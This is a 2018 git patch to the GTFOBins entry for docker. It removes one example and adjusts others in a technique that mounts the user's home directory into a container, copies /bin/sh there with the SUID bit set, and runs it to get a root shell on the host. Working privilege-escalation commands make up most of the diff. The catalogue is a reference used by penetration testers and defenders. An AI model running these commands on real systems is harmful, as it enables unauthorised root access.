From f34aa3133429a3c6a54a22ab75e757e003b77749 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sun, 19 Aug 2018 11:14:16 +0100 Subject: [PATCH] Remove docker interactive-execute --- _gtfobins/docker.md | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md index c27e24c..eae6a36 100644 --- a/_gtfobins/docker.md +++ b/_gtfobins/docker.md @@ -1,19 +1,13 @@ --- description: | - Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, i.e., being in the `docker` group. - - This creates a SUID shell in the guest file system. Any other Linux images should work, e.g., `debian`. + Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`. functions: - execute-interactive: - - code: | - docker run --rm -v /home/$USER:/h_docs ubuntu \ - sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p sudo-enabled: - code: | sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ - sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p + sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p suid-enabled: - code: | ./docker run --rm -v /home/$USER:/h_docs ubuntu \ - sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p + sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p ---